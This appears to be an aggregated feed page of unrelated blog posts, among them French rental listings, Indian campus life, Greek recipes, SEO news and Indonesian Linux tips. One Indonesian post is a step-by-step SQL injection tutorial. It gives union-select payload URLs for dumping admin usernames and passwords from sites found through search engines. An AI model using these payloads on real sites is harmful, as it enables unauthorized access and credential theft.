92390 Villeneuve la Garenne, RER C Gennevilliers / RER H Saint-Denis, Studio meublé avec grande terrasse de 14 m², tout confort, parfait état, surface 28.90 m², nombreux rangements, vue dégagée, calme, immeuble grand standing sécurisé, clair,...
29 m² 23 €/m² terrasse meublé
Wed, 28 Jun 2017 12:42:46 -0400
          Appartment 1 pièces Le Beausset   
560
Au coeur du village provençal du Beausset dans un immeuble ancien de 3 étages Très bel appartement de type2 dune surface habitable denviron 45 m² avec poutres apparentes sans vis à vis. Cet appartement est situé au 3ème et dernier étage sans...
1 pièce 1 salle de bain 45 m² 12 €/m² ascenseur douche jardin
Wed, 28 Jun 2017 12:42:37 -0400
          Appartment 1 pièces Paris 5ème   
2000
Vue Notre Dame. Appartement clair et ensoleillé de 3 pièces refait à neuf de 59.53 m² au 5e étage avec ascenseur dans un immeuble situé rue Monge: -Entrée, Cuisine aménagée et non équipée ouvrant sur un double séjour, une chambre avec dressing,...
1 pièce 60 m² 33 €/m² balcon ascenseur chauffage
Wed, 28 Jun 2017 12:40:57 -0400
          Poster We designed   


I've joined the design team for the Entrepreneurship Cell at IIM Calcutta. This my first poster for them. The logo at top right is also designed by me. The caption, "What goes my daddy?", is the campus translation for "Mere baap ka kya jaata hai?" :-).

The idea was to catch attention of all the facchas (using the caption) and inspire them to attend the club crasher. The writeup is most likely taken from some Steve Jobs' speech. Fits well tho'.

What say?
          Bhen of Brothers   
  

The idea came to us in a general bakar session. May be we'll shoot a spoof on this. Just made the posters. What say?
          ¿Es en serio? ¿Qué la conexión transcontinental conviene más a China que al Perú?   
De

Este “argumento”, contrario al proyecto Ferrovia Transcontinental Atlántico Pacífico Brasil Perú, FETAB, originado en “The Economist” de Londres, y repetido luego en “El Comercio” de Lima, siendo falaz, descubre la pasmosa pasividad de nuestros políticos y profesionales. En especial, luego de más de 20 décadas en que, explicando nuestro subdesarrollo, nuestros mejores pensadores notaron que era más fácil llegar desde un lugar del Perú a Londres, que unir dos puntos de nuestro propio país. Luego de casi un siglo de las propuestas descentralistas, y luego de muchísimas décadas que énfasis en la integración continental, esgrimida por los movimientos sociales y políticos latinoamericanos de mayor arraigo. Luego de ser el primer país de Sudamérica en iniciar su programa ferroviario. 
De hecho, ni la descentralización, ni la integración regional ni el desarrollo son posibles sin la infraestructura vial, integrada con los aspectos de energía, habilitación urbana, y manejo de aguas.  
Sin embargo, hay cuestionamientos más razonables que son atendibles: el Perú no se puede convertir en un país “puente” entre China y Brasil, dos de las dos economías más grandes del mundo. Generalmente, en los países “puente” queda muy poco del beneficio global. Por lo cual, el Perú debe generar una oferta exportable adicional en las dos direcciones, y, además, la conexión trasversal debe complementarse con la longitudinal. 

En general, la conectividad vial nacional debe ser transversal y longitudinal, en primer lugar, y en segundo lugar, dar lugar a una serie de “anillos” en especial ferroviarios, para articular los desintegrados ferrocarriles y sistemas carreteros nacionales.  Por ejemplo, la propuesta de planeamiento de la futura red ferroviaria, preparada en la Facultad de Ingeniería Civil de la Universidad Nacional de Ingeniería, Centro de Transferencia Tecnológica Instituto Vial Iberoamericano – Perú,  propone el Sistema de Anillos Ferroviarios de la ilustración.Documento completo aquí.
  
Esta propuesta, que no incluye el FETAB en forma integra, sin embargo, representa la idea que los primeros formuladores de la red ferroviaria peruana tuvieron siempre: un sistema integrado de trasporte, para unir al Perú con el Perú, pero también con el subcontinente y el mundo.

https://financiardesarrollo.blogspot.com/2017/01/es-en-serio-que-la-conexion.html


          The Campus   
The IIM Calcutta campus or Jokaland, as we call it, is almost like an island amid lakes.

The IIM Calcutta campus, courtesy Google Earth.

As it's evident from the Google Earth image, there are three major man-made lakes surrounding the academic block, the campus KV and library. Our hostels are along the lakes on the outside. The setting gets more clear in the Wikimapia image, as it has proper labelling too.

Compare it to the IIT Bombay campus and you'll find many similarities. Both the campus have the serene presence of beautiful water bodies and dense greenery. Right now the similarities get thicker, since the Calcutta weather nowadays is quite like Mumbai monsoons; it stays cloudy with frequent short showers. Due to the lakes, it stays humid at the campus and if it's not windy, it can get really stifling. The IIMC campus is much smaller than IITB campus, and obviously since IITB is meant for much bigger number of junta. It used to house 4 BTech batches, each of roughly 500 plus huge number of MTechs and few PhDs too. Here at IIMC there are just two batches at a given point of time. My batch's strength is around 310 and that's the largest number they've ever had.

One thing paining me is the distance from the downtown Kolkata. Last night I enquired about ordering pizza and I got to know that the minimum order they take is something as obscene as 6k!! That's because the nearest outlet is at Camac Street or like that :-). But, the food in the mess & (almost) 24 hrs canteen in the hostel is much better than IITB. But eating out is still an issue. Nearest Metro station is some 100 bucks away from IIMC and there aren't many options to reach there. I guess things would get brighter once my bike reaches Kolkata.

Today I took some pictures at the campus. I've uploaded them at the Flickr page. Most of them need little bit of postprocessing, which I plan to do soon.
          Kolkata Chapter Begins :-)   
This would be the longest stretch when I didn't blog, since I started blogging, but it's like that, and that's the way it is. First I was stranded, disconnected at Jaipur for a while, which now seems like pretty comfortable setting.. sigh. Then, once I touched base at Kolkata, things got hectic, and I didn't have a computer for a while. Now that things have more or less settled and I've bought my self a rather sleek Compaq Presario v3000, it's about time I resume blogging.

First things first, Kolkata and the neighbourhood, looks totally amazing from air, after first few days of showers. From my SpiceJet flight, I was gawking, spellbound, at the marvellous view below.. lush greenery, numerous big & small canals and all! Then we hit the ground (pun intended). Let's just say, for someone new to the city, it's not very tough to not like the city, going by the first impressions. The IIM Calcutta campus is good 90 minutes from the airport! The area neighbouring IIMC, it's called Joka, is rather unimpressive to say the least. However, the campus is breathtaking with its 7 lakes and lush greenery. My hostel room, I found is more comfortable than the room I had in IIT Bombay. It's bigger, better planned and it has a balcony which opens to the patch of jungle behind my hostel. I haven't clicked snaps of the campus, but I intend to do that pretty soon. The downtown Kolkata, essentially Park Street area, is light-years away from the campus and it takes huge effort to make it to there. Till now I've been there only once, and even then it was disappointing as we couldn't catch any movie! The movie buff in me is still very pleased to be here; the LAN is virtually full of movies! My new 250 GB external HDD might getting full to the brim, is looking like a possibility.

The academic load looks manageable. I have five courses, all of them interesting. Especially the Organisational Behaviour course, which has interesting mix of Psychological studies in it, pretty impressive! Then there is Indian Economic and Political History, which is also pretty interesting to study. Midterms are still (just?) 2 weeks away and things are chill (as we say here).

I guess, I'll start with such banal posts; it should take time to get back the flow for blogging :-)
          Amtrak CEO Makes Work Resolution for Google   

I was recently asked by Google to join its #WorkResolutions campaign for the New Year. The tech giant is challenging people everywhere to improve the way they work. Immediately I knew...

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          Photo of the Week   

Your votes have been tallied from the far corners of Twitter, Facebook and Google+! The winner of this week’s Photo of the Week is Bear, who snapped this heartwarming pic when his grandmother visited...

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          Google、PayPerPost関連一斉取りしまり。   
ブログに記事を書くことで報酬を得られる、いわゆる「”PayPerPost”というものを、Googleが一斉に取り締まったようですぅー。 http://www.be-emotion.com/seo/2007/11/google_11.html payperpostは、その性質上、本来の口コミとはいいがたく、お金がもらえるとなると、いいことばかりかいてしまうので、そのあたりが、ダメだということみたいです。 私も、日本のもので、ひとつ記事を書いたら、いくらかもらえる…っていうの、やったことはあるんですけどー・・・。(今はやってません><) これは必ず入れてくださいとか、... 続きを見る
          Cooking on Steinway Street - Spanakopita (Spinach Pie)   
Spanakopita is one of my all-time favorites.  As a snack, part of a meal, on the run, it is savory delight that can be made in a variety of ways.  I fondly remember spinach pies in Greece to the ones at Damascus Bread and Pastry next to Sahadi's on Atlantic Ave. growing up in Carroll Gardens.  My aunt makes it from scratch, the pita is rolled out and then the spinach mixture is folded into the dough and comes out in a long "calzone like" shape.  This was the second, and most labor intensive dish we took on that morning.  We made them with and without dairy.  "Don't be afraid of the flour" was my aunt's mantra while rolling out the dough. As you read the ingredients, understand this was for 5 spinach pie "loaves" and it could have been for another easy.

Ingredients

Dough
4 cups of all purpose flour
1 cup semolina flour
3 tablespoons of olive oil
1 tablespoon red wine vinegar
Water, use as needed

Filling
2-3 packages of spinach - quickly softened in some water and drained
2 bunches of chopped scallions
2 chopped leeks
8 stalks of chopped dill
8 stalks of chopped parsley
1 pound of crumbled feta cheese 
3 eggs lightly beaten and added to bind the mixture
1 cup of olive oil 
salt and pepper to taste


Ingredients for the dough


Add all ingredients and slowly add water until right consistency

Knead it until ready and let sit covered for thirty minutes

Chop up the scallions and leeks to sweat in a pan, while chopping up the spinach, dill and parsley and set aside.

Three eggs were used once everything came together, including the feta to the mixture of herbs, leeks and scallions.

Scallions and leeks sweating under medium heat with olive oil.

Aunt Fofi rolling out the dough.

My turn.

Preparing the unrolled dough for the mixture.






The finished product was delicious!



          Cooking on Steinway Street - Gigantes   
Mid-Winter recess allows a vacationing principal some freedom, just as his faculty and students.  Usually, I take to the air and fly away from NYC.  This year, I decided to stay in my hometown and enjoy the city.  I spent more time with my family as well and visited my aunt, uncle and cousin in Astoria.  Over lunch on Monday, featuring spinach pie and stuffed cabbage leaves, we got to talking about food, this new blog and that I would appreciate learning her interpretations of some classic Greek dishes.  I had the pleasure of enjoying Greek cuisine as a child, spending two years living in Athens and over several long summers (how I treasure and miss those days).  She agreed and yesterday we had our first Greek culinary class in her small (but potent) kitchen.  She asked me what I wanted to learn and I replied that Gigantes (Greek Baked Lima beans) were always a favorite and now that my girlfriend has embraced a vegan diet would make sense as one option.  I added, Spanakopita (Spinach Pie - with and without dairy), Yiouvetsi (Beef Stew with Orzo) and Yemista (Stuffed Tomatoes and Peppers) to the request list for day one of "Cooking on Steinway Street".  We're going to dedicate this post to the Gigantes dish.  Let me start by staying that usually the dish is prepared in the oven but due to our schedule we used the pressure cooker to speed up the process.  There are many good recipes for this dish online if you want to use the traditional method.

Ingredients:

1 package dried large white beans - soaked overnight
2 tomatoes - diced
1 leek - sliced into small pieces
1 small onion  - sliced
3 garlic cloves - sliced 
5-6 stalks of parsley  - chopped
1 tablespoon vegetable bouillon powder (use a substitute for salt)
1 cup olive oil
1-2 cups of water (use amount as needed)
Pepper to taste 
Piece of Greek feta, for added flavor and some peasant bread to soak up the goodness
     

The ingredients assembled (sans olive oil and veggie broth)

Aunt Fofi cutting the onion "old school" style.  No cutting board needed, but be careful.

Dicing the tomato

The assembled vegetables.  This could be the vessel that is used from beginning to end.

Due to the fact that we were making several dishes, we used the pressure cooker.  Beans in water to a boil for 10 minutes.

The beans were in the pressure cooker for another 15 minutes.

Start by adding a little olive oil, sweat the onions, leek and the garlic, then add the tomatoes and parsley.

Add the vegetable bouillon and then the drained beans from the pressure cooker when soft.

Add a cup of water and then one cup of olive oil.  

Add pepper and then salt to taste.

The feta is traditionally added for the need for salt (and taste!) and enjoy.

Was an exciting beginning to "Cooking on Steinway Street".  Thanks Aunt Fofi!




          近頃のSEO業界の話題。   
10月中だけで、Googleのページランクが2回更新されました。 特に、2回目のページランク更新は、有料リンクを販売していたサイトが厳しい措置を受けたみたいですねぇ・・・。 ページランクは、ちょっと前に比べたら、あまり重要視することがなくなってきましたが・・・。 それでも、大幅なページランクは、世間を騒がせたみたいですね。 企業にとっては、検索順位=売上アップにつながることが多いので、必死になるのもわかるんですけど・・・。 有料でリンクが買えるということが、まかりとおってしまったら、検索エンジンとして、健全じゃなくなります。 今回の措置は当然と言えるも... 続きを見る
          ツンデレテレビ―?   
ツンデレなテレビ?--イー・レヴォリューション、ワンセグTV「SEGNITY」を発売 http://japan.cnet.com/news/tech/story/0,2000056025,20353374,00.htm 最初はツンツンした態度だけど、使ううちに、だんだんフレンドリーになってくるそうですぅー。 勝手にチャンネルを変えられちゃうのは困るかもしれないけど、ちょっと気になります☆ これからの世界は、機会も人間的になってくると、私は思っています。 iGoogleなんかもそうですけど、個人の好みに合わせて、どんどん学習していくような家電やコンピュータがど... 続きを見る
          Idée reçue en référencement : les liens de l’Internet sont inutiles voire dangereux   

Il existerait une idée reçue selon laquelle seuls les liens forts sont importants dans nos vies et que les liens faibles sont artificiels et futiles quand ils ne sont pas dangereux. Transposé au Web...

Si les amis en ligne sont à peu de choses près les mêmes que les amis hors ligne, les enquêtes montrent que ce ne sont pas les rares liens amoureux et familiaux, ceux que l’ont dit les plus « forts », qui sont au cœur des échanges sur Internet.  D'ailleurs le web lui-même s'est construit sur une multitude de liens interconnectant les sites entre eux et que les spécialistes du référencement appellent "backlinks", des liens le plus souvent "faibles" selon la terminologie de la sociologie des réseaux sociaux classiques mais qui ont contribué à faire le classement des résultats de recherches sur Google par exemple (pour plus d'info voir la méthotodologie de référencement des SEO sur  www.referencement-sud.net , www.slideshare.net/echangeurba/les-cls-du-rfrencement-naturel-focus-2014 etc.).  Ainsi selon des sociologues de l'Internet,  avec le web,  on peut parler justement de la "force des liens faibles" (voir le sociologue Granovetter ) .

Ainsi dans les réseaux sociaux type Facebook, twitter, les aveux les plus intimes ne s’exhibent guère et préfèrent les échanges interpersonnels du téléphone, du SMS et d’email. Et les réseaux sociaux augurent  moins la fin de la vie privée, qu’ils ne sont le théâtre de nouvelles formes expressives dans lesquelles le personnel fait l’objet d’une mise en scène soigneusement calculée. Ce que les réseaux sociaux numériques transforment le plus dans l’organisation de la sociabilité des individus n’est ni le contact aventureux avec des inconnus ni l’échange intime avec les plus proches.

C’est entre deux, au sein du répertoire des « liens faibles », ces indispensables intermédiaires de la vie sociale, que se déploie la nouvelle sociabilité numérique : copains de toujours ou d’occasion, collègues, partenaires d’activités, amis d’amis, connaissances lointaines, utiles ou intéressantes, personnes qui comptent, qui ont compté ou dont on voudrait qu’elles comptent davantage…

D'ailleurs le sociologue Dominique Cardon, a dressé un panorama cartographique des diverses stratégies de liens sociaux au sein du web Français, il y a quelques années : attribuant aux internautes la faculté de créer une sorte de "design de la visibilité" https://www.cairn.info/revue-reseaux1-2008-6-page-93.htm

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          Pour Google la notion de vie privée absolue n’existe plus à l’heure de "street view"   

Pour Google la notion de vie privée absolue n’existe plus à l’heure de « street view » Poursuivi en justice par un couple pour la publication de photos de leur maison sur le site Google Map street view le géant d’internet affirme par la voix de ses nombreux avocats que la notion de vie privée absolue n’existe plus à l’heure de l’imagerie satellite.

 « La technologie de l’imagerie satellite aujourd’hui signifie que même dans le désert la notion de vie privée absolue n’existe pas », affirme leur argumentaire présenté au tribunal et publié sur le site thesmokinggun.

Les photos de cette maison de Pennsylvanie ont été prises par une des voitures équipées par Google de caméras panoramiques automatiques. Suite à la plainte déposée en avril par la famille Boring pour notamment violation de propriété privée elles ont été retirées du site.

Dans leur argumentaire les défenseurs de Google estiment que le panneau « voie privée » sur la route qui conduit à la maison n’est pas suffisant pour empécher le passage de la voiture de Google et affirme que les plaignants auraient pu utiliser une des fonctions du site qui permet de demander le retrait de photos plutôt que d’engager une procédure de dommages et intérets.

 


          Comment on blog-commenting-seo-google-blog-rankings by make an sagittarius man crazy about you   
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          Fin de vie pour Android Market, le 30 juin 2017   
Si comme des millions de personnes Android Market ne vous dit absolument rien, c'est normal, il s'agit de la première version d'un magasin d'applications, avant que la firme de Mountain View déploie le Google Play...
          Procès d'abus de position dominante : l'Europe inflige une amende d'un milliard d'euros à Google   
L'été 2017 ne sera pas sous le signe du soleil pour Google sur le vieux continent, car l'union européenne s'apprête à infliger une amende record à Google. L'UE sanctionnera Google à hauteur d'un milliard d'euros pour...
          Des sauvegardes PC bientôt possibles avec la nouvelle version de Google Drive   
Des modifications sont en cours sur Google Drive, qui va évoluer en devenant un dispositif de sauvegarde des contenus PC, et va donc aller plus loin que le service e Cloud actuel. D'ailleurs, Google Drive s'appellera...
          Membetulkan Grub Rescue Ubuntu   
Empat hari yang lalu ketika saya menginstall ulang Ubuntu saya, terjadi error grub rescue. Setelah bertanya pada om kita semua (google :v), saya berhasil menemukan solusinya. Dan sekarang saya akan membagikan solusinya bagi Anda yang terkena masalah ini juga. Tapi ini hanya untuk Ubuntu Desktop, tidak untuk Ubuntu Server. :)

Untuk memperbaiki masalah ini, Anda harus menyiapkan Ubuntu Desktop Live CD Anda karena kita akan membutuhkannya.

Catatan: Jika Anda tidak mengikuti perintah-perintah dibawah ini dengan benar, kemungkinan Anda akan mendapatkan error : /usr/sbin/grub-probe: error: cannot stat 'aufs'

Langkah-langkah yang harus Anda lakukan adalah:
1. Lakukan boot melalui Ubuntu Desktop Live CD Anda.
Jika muncul tampilan seperti ini klik "Try Ubuntu"
2. Jika tidak muncul tampilan seperti di atas, bukalah Terminal dengan menekan:
    CTRL + ALT + T

3. Ketik perintah ini di terminal: sudo fdisk -l
    Perintah tersebut akan menampilkan seluruh partisi Anda.










     Partisi dengan System berupa Linux adalah partisi untuk Ubuntu Anda.
     Pada screenshot partisi tersebut berada di /dev/sda11

4. Mount partisi ubuntu Anda dengan mengetikkan perintah:
    sudo mount /dev/sdXX /mnt  (contoh: sudo mount /dev/sda11 /mnt)

5. Lalu ketik perintah:
    sudo mount /dev/sdXX /mnt/boot

6. Mount virtual filesystems:
    sudo mount --bind /dev /mnt/dev 
    sudo mount --bind /proc /mnt/proc
    sudo mount --bind /sys /mnt/sys

7. Agar hanya grub utilities dari Live CD saja yang dieksekusi, ketik:
    sudo mount --bind /usr /mnt/usr
    sudo chroot /mnt

8. Lalu ketik:
    update-grub
    update-grub2

9. Install ulang grub
    grub-install /dev/sdX (contoh: grub-install /dev/sda tidak perlu menggunakan angkanya)

10. Verifikasi grub yang diinstall
     sudo grub-install --recheck /dev/sdX

11. Keluar dari chroot dengan menekan CTRL + D

12. Unmount virtual filesystems
     sudo umount /mnt/dev
     sudo umount /mnt/proc
     sudo umount /mnt/sys
     sudo umount /mnt/boot

13. Unmount Live CD /usr
     sudo umount /mnt/usr

14. Umount device terakhir
     sudo umount /mnt

15. Reboot
     sudo reboot

Sekian dari saya untuk hari ini, sampai jumpa lagi dilain topik. ^_^

Sumber : http://opensource-sidh.blogspot.com/2011/06/recover-grub-live-ubuntu-cd-pendrive.html
          Firefox hanya bisa dibuka oleh Root   
Apa anda sedang mengalami masalah karena firefox pada Ubuntu Anda hanya bisa dibuka oleh user root? Kalau iya, maka Anda berada ditempat yang tepat. :)

Beberapa waktu yang lalu saya mengalami masalah ini, setelah mengacak-acak google, akhirnya saya menemukan solusinya. Dan ternyata solusinya cukup mudah. :)
Pertama-tama tutup terlebih dahulu firefox Anda, kemudian buka terminal dan ketikkan command berikut:

sudo chown -R $USER:$USER ~/.mozilla

Jreeeng, firefox Anda sudah bisa dibuka oleh user selain root. :)
Sekian dari saya, sampai jumpa dilain topik. ^_^
          SQL Injection Melalui URL   
Udah pada tahukan sql injection itu apa? Kalau yang belum tahu langsung cabut aja dulu ke wikipedia / google gan.. :D


Ok, buat yang udah tahu apa itu sql injection tapi masih bingung caranya. Nih saya share disini..


Pertama-tama mari siapkan :
  1. Target yang akan dituju (bisa di cari di google, bing, dll)
  2. Segelas air putih (biar ga dehidrasi di depan komputer yang panas.. hehe)


Langsung aja ya..
Kalau begitu pertama kita cari targetnya, misalkan http://www.target.com/news.php?id=1
Nah kita tambahkan kutip satu di belakang angka 1 untuk mengetahui apakah web tersebut vulnerable dengan sql injection atau tidak.
Nanti urlnya jadi begini http://www.target.com/news.php?id=1'


Lihat apakah muncul error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax
Kalau muncul error seperti di atas, berarti web tersebut vulnerable. :D


Selanjutnya kalau sudah vulnerable kita lanjutkan dengan mengubah url menjadi http://www.target.com/news.php?id=-1+order+by+1--
Cek apakah terdapat error lagi atau tidak, kalau tidak lanjutkan dengan mengganti angka 1 yang dibelakang dengan angka 2 dst..
Misalkan terdapat error di angka 5, berarti kita ambil angka 1, 2, 3, dan 4 untuk langkah berikutnya..


Sekarang ubah url menjadi http://www.target.com/news.php?id=-1+union+select+1,2,3,4-- untuk melihat angka ajaib yang keluar.. :D
Jika yang keluar angka 3, maka kita ganti angka 3 tersebut menjadi @@version atau version() untuk mengetahui versi mysql yang di gunakan : http://www.target.com/news.php?id=-1+union+select+1,2,@@version,4--


Kalau versi mysqlnya 4 kita tinggalkan saja dan cari web yang baru, tapi kalau versi 5 kita lanjut bang.. :D


Kita sudah tahu versi mysqlnya adalah 5, jadi sekarang kita ubah kembali urlnya menjadi
http://www.target.com/news.php?id=-1+union+select+1,2,group_concat(table_name),4+from+information_schema.tables+where+table_schema=database()--
untuk mengetahui tabel-tabel yang ada di web tersebut.

Jika nama tabelnya sudah keluar, kalian cari mana yang mencurigakan dari namanya. Misalkan kita dapat "admin_log" tanpa kutip.


Kita buka tabel tersebut dengan mengganti group_concat(table_name) menjadi group_concat(column_name) dan information_schema.tables menjadi information_schema.columns lalu table_schema=database() menjadi table_name=admin_log tapi "admin_log" harus di convert dulu ke bilangan hexadesimal dan tambahkan 0x di depan hasil convertnya.
Misalkan hexadesimal admin_log adalah 12345, menjadi 0x12345.


Lihat nama apa saja yang keluar, misalkan "admin,pass".
Kita buka saja isi dari column itu untuk mengetahui username dan password adminnya.. :D
Kita ubah group_concat(column_name) menjadi group_concat(admin,0x23,pass) dan information_schema.tables+where+table_name=0x12345 menjadi admin_log.



Dengan begitu keluarlah semua username dan passwordnya.
Sekarang kalian tinggal mencari halaman login untuk adminnya saja.., tapi ingat jangan disalah gunakan ya.. ;)


Semoga bermanfaat.. ^_^

          Google Is Experimenting With Virtual Reality Advertising   
Watch your head on that low-hanging banner ad.
          Hari raya idul fitri 1435 H   

Selamat hari raya idul fitri 1435 H, mohon maaf lahir batin :)
Ini udah hari kelima lebaran dan baru sekarang sempet menyapa kalian semuanya di sini. Apakabar semua? Baik-baik aja kan? Kalau nggak baik kayaknya agak aneh ya bisa main-main ke sini :D
So, aku mau cerita sedikit tentang lebaran aku kemarin. Sebenarnya nggak ada cerita yang spesial banget sih, karena aku nggak ikut mudik kayak yang kalian semua lakuin jadi terasa agak hambar, walaupun ya tetap terasa dong suasana lebarannya apalagi waktu malam lebaran aku dengar suara takbir sahut menyahut dari mesjid-mesjid di dekat rumah, aaaaaah damai banget dengar alunan takbir itu. Buat anak kecil, momen lebaran itu yang paling ditunggu adalah momen dapat banyak baju baru dan angpao. Wah aku inget banget dulu waktu masih kecil, aku selalu minta dibeliin banyak baju lebaran, trus aku sama temen-temen pada saingan siapa yang punya baju baru paling banyak, trus kita ke rumah masing-masing saling nunjukin baju baru yang udah kita beli, hahahaaa kalau ingat momen itu asliii ya pengen ketawa rasanya, konyoooool, but its so fun, guys :)

Dan sekarang udah umur 21 tahun nggak mungkin banget aku bisa ngerasain momen-momen manis itu lagi. Karena itu hanya bagian dari cerita masa kecil kita yang bahagiaaaaaa banget.
Trus aku juga inget, pas malam lebaran kita udah bawa lilin masing-masing untuk jadi penerang buat kita keliling-keliling komplek sambil takbiran dan cekikikan, kadang kalau udah nyampe di tempat yang agak gelap kita bakal lari cepet-cepet menuju tempat yang lebih terang. Dan tahu nggak lilin-lilin itu kita bawanya gimana? Lilin itu kita masukin ke dalam kaleng bekas, biasanya kaleng bekas yang kita pake itu kaleng yang bentuknya bulat misal kayak kaleng bekas mentega, terus ditengahnya kita bolongin untuk kita sangkutin kawat tipis buat jadi pegangan. Baru di dalam kaleng itu kita masukin lilin, jadi deh kayak lampu teplok (iya bukan sih itu namanya?) momen-momen yang amat dirindukan dan kini hanya tinggal kenangan. Yang tersisa sekarang cuman momen denger suara takbirannya aja. 

Hari pertama lebaran siap solat ied kita (aku, mamak, bapak, dan kak mena) pulang ke rumah nenek (ibunya mamak). Rumahnya deket banget sama rumah aku, jaraknya cuma sekitar 5 km gitu deh jadi nggak berasa banget mudiknya. Karena nggak ada momen lebaran pun kita juga pulang ke situ, bisa seminggu sekali atau sebulan sekali. Suasana di rumah nenek pastinya rame banget lah, semua keluarga besar ngumpul. Setiap lebaran perut aku selalu dipenuhi dengan lontong, pagi siang malam cuma makan lontong aja. Nggak di rumah sendiri nggak di rumah nenek menunya yang aku makan tetap lontong karena lontong pas momen lebaran rasanya lebih lebih dan lebih enak daripada hari biasa. Kenapa? Karena buatan sendirilah, homemade, jelas kan lebih enak daripada yang kita beli di jalan-jalan. Angpau? Bisa dibilang tahun ini angpau terbanyak yang aku dapat, cukup buat beli satu gadget, mungkin juga ini tahun terakhir aku dapat angpau karena tahun depan kemungkinan aku udah wisuda, dan biasanya angpau berakhir ketika kita lulus kuliah. Karena kalau udah kerja berarti kita nggak berhak lagi dapat angpau tetapi gantian buat memberi angpau. Kalau udah kerja namanya bukan angpau lagi dong ya tapi THR, nominalnya pasti lebih gede ya hahahaa :D



          Joylaaaa   
Tadi sore, aku ikut ke acara buka puasa bersama keluarga besar Kejaksaan Negeri Jantho -kantor kak Mena- di hotel The Pade, Banda Aceh. Sama kayak acara-acara buka puasa lainnya, datang sekitaran jam 6 sore, duduk-duduk cantik sambil menunggu waktu berbuka tiba. Ada yang menunggu sambil mengobrol, mengutak-atik gadget ataupun memandangi sekeliling. Karena nggak ada yang aku kenal jadi setelah duduk aku memilih menyibukkan diri dengan gadget kesayanganku. Tapi aktivitas itu nggak bertahan lama karna di sebelahku ada makhluk mungil dengan rambut ikal-ikal kecil yang diikat ditengah kepalanya. Namanya Joyla. Kalau kata kak Mena, Joyla super duper lasak, ada aja yang dilakuin, nggak bisa diam. Tapi tingkahnya lucu-lucu. Gadis kecil itu membuat suasana bubar menjadi lebih berwarna. Ada aja yang dia lakuin, mulai dari ngaduk-ngaduk puding, jatuhin alas piring di atas meja, ngambil minuman diaduk-aduk, jalan ke sana kemari. Sekalinya mata kita nggak awas, dia udah ada di luar ruangan. Ibunya kewalahan :) 
Tapi buat aku Joyla menggemaskan. Rasanya lebih menyenangkan mengobrol dengan gadis kecil itu dibanding dengan orang-orang dewasa. Karena dia lebih polos, ceria, dan apa adanya. Jadi nggak perlu mikir udah melakukan sesuatu yang benar atau belum.
Iseng, aku mengajaknya mengobrol, menawarkan membuka piring makanan yang tertutup plastik, menyuapkan cupcakes untuknya. Dia ketawa hihiii, dan aku nggak lupa mengabadikan wajah lucunya..
Dia mengerjap dan tersenyum ketika aku memperlihatkan pantulan dirinya di foto. Bisa jadi dia sadar kalau itu dirinya atau bisa juga dia kira itu orang lain, entahlah, but its so fun to know you Joyla 😁😊
Nah, ini dia gadis mungil yang aku ceritain, Joylaaaa...

Dan ini foto selfie saya untuk ngilangin boring setelah menyantap makanan berbuka...


          Google News Redesign Is Easier to Read With More Fact-Checking   
In a bid to fight fake news.
          Daun Yang Jatuh Tak Pernah Membenci Angin Karangan Tere Liye   

Kemarin sore aku mulai membaca buku karangan Tere Liye yang lain. Ini adalah buku ketiganya yang aku baca setelah "Hafalan shalat Delisa" dan "Sunset bersama Rosie". Judul bukunya ini yaitu "Daun yang jatuh tak pernah membenci angin". Membaca judul ini awalnya membuat aku sangat tertarik dan juga penasaran akan seperti apa isinya. Apalagi aku juga sering membaca penggalan kalimat yang ada dalam novel ini yang ditulis beberapa orang di media sosialnya. 

Kalimatnya begini :
"Orang yang memendam perasaan sering kali terjebak oleh hatinya sendiri. Sibuk merangkai semua kejadian di sekitarnya untuk membenarkan hatinya berharap. Sibuk menghubungkan banyak hal agar hatinya senang menimbun mimpi. Sehingga suatu ketika dia tidak tahu lagi mana simpul yang nyata dan mana simpul yang dusta"

Ya, memang terkadang saat kita menyukai seseorang, kita selalu mencari pembenaran bahwa dia juga menyukai kita, mengumpulkan kejadian-kejadian dan memaksakannya menjadi seperti yang kita inginkan. Walaupun itu hanya ilusi tapi kita membuatnya menjadi begitu nyata hingga akhirnya kita harus menelan pil pahit bahwa ternyata itu benar-benar hanya sebuah ilusi, sebuah kebohongan yang menjerat diri sendiri. Ketika jatuh cinta, kita tidak lagi bisa membedakan mana simpul yang nyata dan yang dusta. Kadang simpul yang nyata terlihat seperti dusta dan terkadang pula simpul yang dusta terlihat seperti benar-benar nyata.

Dan ada satu lagi kalimat yang paling aku sukai :
"Biarlah aku luruh ke bumi seperti sehelai daun... Daun yang tidak pernah membenci angin meski harus terengggutkan dari tangkai pohonnya"

Hal itu semakin membuat aku penasaran. Hanya dalam beberapa jam saja novel ini selesai aku baca, hebat bukan? Yap, namanya juga penasaran, nggak heran aku bisa membacanya secepat itu. Apalagi jalan cerita dan bahasanya enak dibaca, dan ketika membacanya, aku seperti ikut tersedot dalam buku ini, seperti sedang menyaksikan kejadian ini dengan mata kepalaku sendiri. 

Pertama aku tidak mengerti makna dari kalimat "Daun yang jatuh tak pernah membenci angin" tapi setiap halaman demi halaman buku ini aku buka hingga sampailah pada halaman terakhirnya, aku baru mengerti makna dari kalimat itu. Mungkin juga maknanya menjadi berbeda dengan apa yang dipahami penulis ataupun pembaca yang lain, namun manusia memang begitu kan, selalu punya pandangan dan pendapat yang berbeda dengan manusia lainnya. Karena itulah yang membuat hidup ini menjadi lebih indah. Tidak monoton hanya hitam dan putih, tapi juga ada banyak warna lain seperti merah, kuning, hijau, biru, nila, ungu, dan jingga.

Cerita ini menceritakan tentang dua orang kakak beradik yang setiap harinya mengamen dari satu kendaraan umum ke kendaraan umum lainnya, bermain dengan pekatnya matahari dan debu jalanan setiap hari. Mereka tinggal bersama ibunya di sebuah rumah kardus di bantaran kali. Karena tak punya cukup uang untuk membayar sewa kontrakan, rumah kardus menjadi pilihan terbaik untuk mereka. Kedua kakak beradik itu pun terpaksa berhenti mengenyam pendidikan karena ketiadaan biaya. Jangankan untuk sekolah bahkan untuk makan sehari-haripun susah. Mereka mengamen ke sana kemari hingga larut malam tanpa mengenakan alas kaki. Bagaimana mungkin mereka bisa memakai alas kaki jika untuk makan pun mereka tak punya. Hingga suatu hari saat sedang mengamen di bus, tidak sengaja kaki sang kakak terinjak paku payung yang ada di dalam bus hingga mengalirlah darah segar dari kakinya yang tidak beralaskan itu. Di saat semua penumpang bus bersikap acuh dan tak peduli, muncullah tangan seorang pria berusia dua puluhan mengulurkan sebuah sapu tangan. Dan sejak hari itu pria itu benar-benar menjadi malaikat bagi keluarga mereka. Bagaimana tidak, pria itu sangat banyak membantu mereka dan menjadi bagian terpenting 